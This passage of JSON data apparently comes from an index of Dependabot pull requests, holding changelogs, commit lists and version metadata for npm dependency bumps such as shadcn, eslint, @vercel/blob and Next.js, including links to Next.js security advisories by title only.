href=\"https://github.com/shadcn-ui/ui/commit/440734966e04a1e429bb8df8a29d7095a5e4a60f\"\u003e\u003ccode\u003e4407349\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/apps/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e! - Update \u003ccode\u003e@modelcontextprotocol/sdk\u003c/code\u003e, \u003ccode\u003ebrowserslist\u003c/code\u003e, \u003ccode\u003eopen\u003c/code\u003e and \u003ccode\u003epostcss-selector-parser\u003c/code\u003e.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/shadcn-ui/ui/pull/12192\"\u003e#12192\u003c/a\u003e \u003ca href=\"https://github.com/shadcn-ui/ui/commit/dd34945272729ecd198fabb0e32082f6321c210e\"\u003e\u003ccode\u003edd34945\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/shadcn\"\u003e\u003ccode\u003e@​shadcn\u003c/code\u003e\u003c/a\u003e! - Move \u003ccode\u003e@​shadcn/registry\u003c/code\u003e modules out of utils.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/shadcn-ui/ui/pull/12297\"\u003e#12297\u003c/a\u003e \u003ca href=\"https://github.com/shadcn-ui/ui/commit/7aa2110d4ae0910429093c2240948c916d18dd7f\"\u003e\u003ccode\u003e7aa2110\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/mattzcarey\"\u003e\u003ccode\u003e@​mattzcarey\u003c/code\u003e\u003c/a\u003e! - Fix MCP search and list results showing \u003ccode\u003e[object Promise]\u003c/code\u003e instead of the add command.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/shadcn-ui/ui/pull/12174\"\u003e#12174\u003c/a\u003e \u003ca href=\"https://github.com/shadcn-ui/ui/commit/2af71ac3188a89e42027bca3817daf128cbce7c2\"\u003e\u003ccode\u003e2af71ac\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/apps/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e! - Update \u003ccode\u003e@modelcontextprotocol/sdk\u003c/code\u003e to 1.31.0.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/shadcn-ui/ui/pull/12048\"\u003e#12048\u003c/a\u003e \u003ca href=\"https://github.com/shadcn-ui/ui/commit/cfb4cb6fce835cda9342fae1592b21ece48ce23d\"\u003e\u003ccode\u003ecfb4cb6\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/apps/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e! - Update \u003ccode\u003eundici\u003c/code\u003e to 7.29.1.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eUpdated dependencies [\u003ca href=\"https://github.com/shadcn-ui/ui/commit/97ddbf4274ed09d02aa7fd34375f2cf1e48cbbf0\"\u003e\u003ccode\u003e97ddbf4\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/shadcn-ui/ui/commit/dd34945272729ecd198fabb0e32082f6321c210e\"\u003e\u003ccode\u003edd34945\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/shadcn-ui/ui/commit/cfb4cb6fce835cda9342fae1592b21ece48ce23d\"\u003e\u003ccode\u003ecfb4cb6\u003c/code\u003e\u003c/a\u003e]:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​shadcn/registry\u003c/code\u003e\u003ca href=\"https://github.com/0\"\u003e\u003ccode\u003e@​0\u003c/code\u003e\u003c/a\u003e.1.4\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e4.21.4\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/shadcn-ui/ui/pull/12189\"\u003e#12189\u003c/a\u003e \u003ca href=\"https://github.com/shadcn-ui/ui/commit/76fd499595ba7cc01f49d159bd7ac82d7aca8e63\"\u003e\u003ccode\u003e76fd499595ba7cc01f49d159bd7ac82d7aca8e63\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/shadcn\"\u003e\u003ccode\u003e@​shadcn\u003c/code\u003e\u003c/a\u003e! - Drop the ts-morph dependency from \u003ccode\u003e@​shadcn/registry\u003c/code\u003e.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/shadcn-ui/ui/pull/12184\"\u003e#12184\u003c/a\u003e \u003ca href=\"https://github.com/shadcn-ui/ui/commit/995c2cfff44c373bd210d451089726ec097ab917\"\u003e\u003ccode\u003e995c2cfff44c373bd210d451089726ec097ab917\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/shadcn\"\u003e\u003ccode\u003e@​shadcn\u003c/code\u003e\u003c/a\u003e! - Run the icons and asChild transformers without ts-morph.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/shadcn-ui/ui/pull/12160\"\u003e#12160\u003c/a\u003e \u003ca href=\"https://github.com/shadcn-ui/ui/commit/6efecd8fe9aa167886fe2cc0c05c5623a5bb5670\"\u003e\u003ccode\u003e6efecd8fe9aa167886fe2cc0c05c5623a5bb5670\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/shadcn\"\u003e\u003ccode\u003e@​shadcn\u003c/code\u003e\u003c/a\u003e! - Edit the Next.js layout for font items without ts-morph, and skip it with a warning instead of writing a broken layout.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/shadcn-ui/ui/pull/12188\"\u003e#12188\u003c/a\u003e \u003ca href=\"https://github.com/shadcn-ui/ui/commit/efa11781f756c86debb0392fbea4fe468250b41b\"\u003e\u003ccode\u003eefa11781f756c86debb0392fbea4fe468250b41b\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/shadcn\"\u003e\u003ccode\u003e@​shadcn\u003c/code\u003e\u003c/a\u003e! - Rewrite imports and crawl file imports without ts-morph.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/shadcn-ui/ui/pull/12177\"\u003e#12177\u003c/a\u003e \u003ca href=\"https://github.com/shadcn-ui/ui/commit/e8c3143b1cd191280befcd6c9538284bb43399a8\"\u003e\u003ccode\u003ee8c3143b1cd191280befcd6c9538284bb43399a8\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/shadcn\"\u003e\u003ccode\u003e@​shadcn\u003c/code\u003e\u003c/a\u003e! - Edit tailwind.config without ts-morph, and skip it with a warning instead of writing a broken config.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/shadcn-ui/ui/pull/12183\"\u003e#12183\u003c/a\u003e \u003ca href=\"https://github.com/shadcn-ui/ui/commit/f56bbd7282f0116a925a601cb6d7e0c3fede448b\"\u003e\u003ccode\u003ef56bbd7282f0116a925a601cb6d7e0c3fede448b\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/shadcn\"\u003e\u003ccode\u003e@​shadcn\u003c/code\u003e\u003c/a\u003e! - Run the rsc, import, CSS variable, cleanup, font and menu transformers without ts-morph.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/shadcn-ui/ui/commit/daaf156ee00ed91cc7e6bdd937c1b4973152d141\"\u003e\u003ccode\u003edaaf156\u003c/code\u003e\u003c/a\u003e chore(release): version packages (\u003ca href=\"https://github.com/shadcn-ui/ui/tree/HEAD/packages/shadcn/issues/12365\"\u003e#12365\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/shadcn-ui/ui/commit/4381eeb3fe421af7d25b780f85ff9cbc8d50c51a\"\u003e\u003ccode\u003e4381eeb\u003c/code\u003e\u003c/a\u003e fix(cli): respect style availability in add --all (\u003ca href=\"https://github.com/shadcn-ui/ui/tree/HEAD/packages/shadcn/issues/12360\"\u003e#12360\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/shadcn-ui/ui/commit/ad0a097d30cf9524ac4a3b5294c9513c5c344672\"\u003e\u003ccode\u003ead0a097\u003c/code\u003e\u003c/a\u003e chore(release): version packages (\u003ca href=\"https://github.com/shadcn-ui/ui/tree/HEAD/packages/shadcn/issues/12308\"\u003e#12308\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/shadcn-ui/ui/commit/954ce953412867a57b7e067c076fa7fd395ea115\"\u003e\u003ccode\u003e954ce95\u003c/code\u003e\u003c/a\u003e feat: upgrade to zod 4 (\u003ca href=\"https://github.com/shadcn-ui/ui/tree/HEAD/packages/shadcn/issues/12298\"\u003e#12298\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/shadcn-ui/ui/commit/0023018feb6e18c2f4aa0af2062f1c3107d90bfa\"\u003e\u003ccode\u003e0023018\u003c/code\u003e\u003c/a\u003e chore(release): version packages (\u003ca href=\"https://github.com/shadcn-ui/ui/tree/HEAD/packages/shadcn/issues/12194\"\u003e#12194\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/shadcn-ui/ui/commit/7aa2110d4ae0910429093c2240948c916d18dd7f\"\u003e\u003ccode\u003e7aa2110\u003c/code\u003e\u003c/a\u003e fix(mcp): await the add command in search and list results (\u003ca href=\"https://github.com/shadcn-ui/ui/tree/HEAD/packages/shadcn/issues/12297\"\u003e#12297\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/shadcn-ui/ui/commit/440734966e04a1e429bb8df8a29d7095a5e4a60f\"\u003e\u003ccode\u003e4407349\u003c/code\u003e\u003c/a\u003e chore(deps): bump the deps group across 1 directory with 5 updates (\u003ca href=\"https://github.com/shadcn-ui/ui/tree/HEAD/packages/shadcn/issues/12214\"\u003e#12214\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/shadcn-ui/ui/commit/2af71ac3188a89e42027bca3817daf128cbce7c2\"\u003e\u003ccode\u003e2af71ac\u003c/code\u003e\u003c/a\u003e chore(deps): bump \u003ccode\u003e@​modelcontextprotocol/sdk\u003c/code\u003e from 1.26.0 to 1.31.0 (\u003ca href=\"https://github.com/shadcn-ui/ui/tree/HEAD/packages/shadcn/issues/12174\"\u003e#12174\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/shadcn-ui/ui/commit/cfb4cb6fce835cda9342fae1592b21ece48ce23d\"\u003e\u003ccode\u003ecfb4cb6\u003c/code\u003e\u003c/a\u003e chore(deps): bump undici from 7.29.0 to 7.29.1 (\u003ca href=\"https://github.com/shadcn-ui/ui/tree/HEAD/packages/shadcn/issues/12048\"\u003e#12048\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/shadcn-ui/ui/commit/dd34945272729ecd198fabb0e32082f6321c210e\"\u003e\u003ccode\u003edd34945\u003c/code\u003e\u003c/a\u003e refactor(registry): move modules out of src/utils (\u003ca href=\"https://github.com/shadcn-ui/ui/tree/HEAD/packages/shadcn/issues/12192\"\u003e#12192\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/shadcn-ui/ui/commits/shadcn@4.22.1/packages/shadcn\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@testing-library/user-event` from 14.6.7 to 14.6.8\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/testing-library/user-event/releases\"\u003e@​testing-library/user-event's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev14.6.8\u003c/h2\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/testing-library/user-event/compare/v14.6.7...v14.6.8\"\u003e14.6.8\u003c/a\u003e (2026-10-13)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003etreat programmatic null input values as empty string (\u003ca href=\"https://redirect.github.com/testing-library/user-event/issues/1329\"\u003e#1329\u003c/a\u003e) (\u003ca href=\"https://github.com/testing-library/user-event/commit/1951eb77cc190a68eb6dac6bd40b53648b18805f\"\u003e1951eb7\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/testing-library/user-event/commit/1951eb77cc190a68eb6dac6bd40b53648b18805f\"\u003e\u003ccode\u003e1951eb7\u003c/code\u003e\u003c/a\u003e fix: treat programmatic null input values as empty string (\u003ca href=\"https://redirect.github.com/testing-library/user-event/issues/1329\"\u003e#1329\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/testing-library/user-event/compare/v14.6.7...v14.6.8\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@types/node` from 24.19.1 to 24.19.2\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/DefinitelyTyped/DefinitelyTyped/commits/HEAD/types/node\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `eslint` from 10.12.0 to 10.13.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/eslint/eslint/releases\"\u003eeslint's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev10.13.0\u003c/h2\u003e\n\u003ch2\u003eFeatures\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/48d5cc47e43478670ccf95a74f7a73e8408152b5\"\u003e\u003ccode\u003e48d5cc4\u003c/code\u003e\u003c/a\u003e feat: report references inside IIFEs in \u003ccode\u003eno-use-before-define\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21238\"\u003e#21238\u003c/a\u003e) (Irfan fandi)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/a39d9fb1fdb5db546f6407580cac531ba3370450\"\u003e\u003ccode\u003ea39d9fb\u003c/code\u003e\u003c/a\u003e feat: add \u003ccode\u003eglobalThis\u003c/code\u003e to \u003ccode\u003eno-obj-calls\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21382\"\u003e#21382\u003c/a\u003e) (synthex-byte)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/66ac58383e076940c11a5d7213ad079028d1140e\"\u003e\u003ccode\u003e66ac583\u003c/code\u003e\u003c/a\u003e feat: check \u003ccode\u003eyield*\u003c/code\u003e expressions in \u003ccode\u003eno-unsafe-optional-chaining\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21399\"\u003e#21399\u003c/a\u003e) (xbinaryx)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eBug Fixes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/87bd2cef7b2309739c29598fb2be335f4bed71a3\"\u003e\u003ccode\u003e87bd2ce\u003c/code\u003e\u003c/a\u003e fix: avoid redeclared \u003ccode\u003elet\u003c/code\u003e when \u003ccode\u003eno-var\u003c/code\u003e and \u003ccode\u003eone-var\u003c/code\u003e fix together (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21389\"\u003e#21389\u003c/a\u003e) (Daniel Pinto)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eDocumentation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/4783a6806fb73ea4843ac46c6ae3d8285f56c288\"\u003e\u003ccode\u003e4783a68\u003c/code\u003e\u003c/a\u003e docs: Update README (GitHub Actions Bot)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/43f0ac90e7858a834a0e68...\n\n_Description has been truncated_","html_url":"https://github.com/Programati/storefront-template/pull/35","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/Programati%2Fstorefront-template/issues/35","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/35/packages"}},{"old_version":"4.1.11","new_version":"4.1.12","update_type":"patch","path":null,"pr_created_at":"2026-10-23T06:14:13.000Z","version_change":"4.1.11 → 4.1.12","issue":{"uuid":"5992924183","node_id":"PR_kwDOJCbeAs8AAAABKMCN6g","number":200,"state":"closed","title":"Bump the all-dependencies group across 1 directory with 8 updates","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":2,"pull_request":true,"closed_at":"2026-10-23T13:42:38.000Z","author_association":null,"state_reason":null,"created_at":"2026-10-23T06:14:13.000Z","updated_at":"2026-10-23T13:42:40.000Z","time_to_close":26905,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","group_name":"all-dependencies","update_count":8,"packages":[{"name":"@vercel/blob","old_version":"2.8.1","new_version":"2.8.2","repository_url":"https://github.com/vercel/storage"},{"name":"eslint-config-next","old_version":"16.4.0","new_version":"16.4.2","repository_url":"https://github.com/vercel/next.js"},{"name":"next","old_version":"16.4.0","new_version":"16.4.2","repository_url":"https://github.com/vercel/next.js"},{"name":"react","old_version":"19.3.0","new_version":"19.3.1","repository_url":"https://github.com/react/react"},{"name":"react-dom","old_version":"19.3.0","new_version":"19.3.1","repository_url":"https://github.com/react/react"},{"name":"zod","old_version":"4.6.5","new_version":"4.6.7","repository_url":"https://github.com/colinhacks/zod"},{"name":"postcss","old_version":"8.5.29","new_version":"8.5.31","repository_url":"https://github.com/postcss/postcss"},{"name":"vitest","old_version":"4.1.11","new_version":"4.1.12","repository_url":"https://github.com/vitest-dev/vitest"}],"path":null,"ecosystem":"npm"},"body":"Bumps the all-dependencies group with 8 updates in the / directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [@vercel/blob](https://github.com/vercel/storage/tree/HEAD/packages/blob) | `2.8.1` | `2.8.2` |\n| [eslint-config-next](https://github.com/vercel/next.js/tree/HEAD/packages/eslint-config-next) | `16.4.0` | `16.4.2` |\n| [next](https://github.com/vercel/next.js) | `16.4.0` | `16.4.2` |\n| [react](https://github.com/react/react/tree/HEAD/packages/react) | `19.3.0` | `19.3.1` |\n| [react-dom](https://github.com/react/react/tree/HEAD/packages/react-dom) | `19.3.0` | `19.3.1` |\n| [zod](https://github.com/colinhacks/zod) | `4.6.5` | `4.6.7` |\n| [postcss](https://github.com/postcss/postcss) | `8.5.29` | `8.5.31` |\n| [vitest](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest) | `4.1.11` | `4.1.12` |\n\n\nUpdates `@vercel/blob` from 2.8.1 to 2.8.2\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vercel/storage/releases\"\u003e@​vercel/blob's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ccode\u003e@​vercel/blob\u003c/code\u003e\u003ca href=\"https://github.com/2\"\u003e\u003ccode\u003e@​2\u003c/code\u003e\u003c/a\u003e.8.2\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003ef11f653: Send blob API version 13, where the server reads keys containing \u003ccode\u003e.\u003c/code\u003e or \u003ccode\u003e..\u003c/code\u003e path segments exactly as they were written instead of resolving them away. Fixes \u003ccode\u003ehead\u003c/code\u003e, \u003ccode\u003ecopy\u003c/code\u003e, \u003ccode\u003erename\u003c/code\u003e, \u003ccode\u003edel\u003c/code\u003e and \u003ccode\u003elist\u003c/code\u003e on blobs whose pathname has a dot segment.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vercel/storage/blob/main/packages/blob/CHANGELOG.md\"\u003e@​vercel/blob's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2.8.2\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003ef11f653: Send blob API version 13, where the server reads keys containing \u003ccode\u003e.\u003c/code\u003e or \u003ccode\u003e..\u003c/code\u003e path segments exactly as they were written instead of resolving them away. Fixes \u003ccode\u003ehead\u003c/code\u003e, \u003ccode\u003ecopy\u003c/code\u003e, \u003ccode\u003erename\u003c/code\u003e, \u003ccode\u003edel\u003c/code\u003e and \u003ccode\u003elist\u003c/code\u003e on blobs whose pathname has a dot segment.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/storage/commit/5425e1611f65799a02ffa0033086a56e8d280dd5\"\u003e\u003ccode\u003e5425e16\u003c/code\u003e\u003c/a\u003e Version Packages (\u003ca href=\"https://github.com/vercel/storage/tree/HEAD/packages/blob/issues/1112\"\u003e#1112\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/storage/commit/f11f6535be772cf57ed7a90d57a93761024c3461\"\u003e\u003ccode\u003ef11f653\u003c/code\u003e\u003c/a\u003e [blob] Send blob API version 13 (\u003ca href=\"https://github.com/vercel/storage/tree/HEAD/packages/blob/issues/1109\"\u003e#1109\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/vercel/storage/commits/@vercel/blob@2.8.2/packages/blob\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `eslint-config-next` from 16.4.0 to 16.4.2\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vercel/next.js/releases\"\u003eeslint-config-next's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev16.4.2\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[lts-active] turbo-tasks snapshot consistency fixes (\u003ca href=\"https://github.com/vercel/next.js/tree/HEAD/packages/eslint-config-next/issues/99644\"\u003e#99644\u003c/a\u003e, \u003ca href=\"https://github.com/vercel/next.js/tree/HEAD/packages/eslint-config-next/issues/99732\"\u003e#99732\u003c/a\u003e, \u003ca href=\"https://github.com/vercel/next.js/tree/HEAD/packages/eslint-config-next/issues/99649\"\u003e#99649\u003c/a\u003e) by \u003ca href=\"https://github.com/lukesandberg\"\u003e\u003ccode\u003e@​lukesandberg\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/next.js/pull/100002\"\u003evercel/next.js#100002\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e[lts-active] Turbopack: backport Pages Router dev module graph chaining (\u003ca href=\"https://github.com/vercel/next.js/tree/HEAD/packages/eslint-config-next/issues/98823\"\u003e#98823\u003c/a\u003e, \u003ca href=\"https://github.com/vercel/next.js/tree/HEAD/packages/eslint-config-next/issues/99910\"\u003e#99910\u003c/a\u003e, \u003ca href=\"https://github.com/vercel/next.js/tree/HEAD/packages/eslint-config-next/issues/100091\"\u003e#100091\u003c/a\u003e) by \u003ca href=\"https://github.com/sokra\"\u003e\u003ccode\u003e@​sokra\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/next.js/pull/100008\"\u003evercel/next.js#100008\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e[lts-active] fix(next-code-frame): snap visible window to char boundaries by \u003ca href=\"https://github.com/lukesandberg\"\u003e\u003ccode\u003e@​lukesandberg\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/next.js/pull/100212\"\u003evercel/next.js#100212\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e[lts-active] [turbopack] Fix two GC paths that leave half-torn-down dependency edges by \u003ca href=\"https://github.com/lukesandberg\"\u003e\u003ccode\u003e@​lukesandberg\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/next.js/pull/100209\"\u003evercel/next.js#100209\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e[lts-active] Turbopack: Ignore realpath errors during module resolution, matching node's behavior by \u003ca href=\"https://github.com/lukesandberg\"\u003e\u003ccode\u003e@​lukesandberg\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/next.js/pull/100217\"\u003evercel/next.js#100217\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e[lts-active] Backport docs fixes since v16.4.0 by \u003ca href=\"https://github.com/icyJoseph\"\u003e\u003ccode\u003e@​icyJoseph\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/next.js/pull/100246\"\u003evercel/next.js#100246\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e[lts-active] Fix Turbopack lazy dynamic-import chunk-list collisions by \u003ca href=\"https://github.com/lukesandberg\"\u003e\u003ccode\u003e@​lukesandberg\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/next.js/pull/100211\"\u003evercel/next.js#100211\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e[lts-active] Backport additional documentation fixes since v16.4.0 by \u003ca href=\"https://github.com/aurorascharff\"\u003e\u003ccode\u003e@​aurorascharff\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/next.js/pull/100262\"\u003evercel/next.js#100262\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/vercel/next.js/compare/v16.4.1...v16.4.2\"\u003ehttps://github.com/vercel/next.js/compare/v16.4.1...v16.4.2\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev16.4.1\u003c/h2\u003e\n\u003cp\u003eThis release contains security fixes for the following advisories:\u003c/p\u003e\n\u003cp\u003eCritical:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/security/advisories/GHSA-673q-mjm6-r5xr\"\u003eUnauthenticated Remote Code Execution in \u003ccode\u003euse cache\u003c/code\u003e functions returning typed arrays\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/security/advisories/GHSA-2464-fhr4-w9xw\"\u003eUnauthenticated Remote Code Execution in Image Optimization API when SVG files are used\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eHigh:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/security/advisories/GHSA-p3m5-59mp-jv5r\"\u003eDenial of Service in App Router using Server Actions\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/commit/2864b1772c37242a9b40ab4d366eb7d368c2a070\"\u003e\u003ccode\u003e2864b17\u003c/code\u003e\u003c/a\u003e v16.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/commit/7217011ac0d689026884dd28536a0c7f3c98ba77\"\u003e\u003ccode\u003e7217011\u003c/code\u003e\u003c/a\u003e v16.4.1\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/vercel/next.js/commits/v16.4.2/packages/eslint-config-next\"\u003ecompare 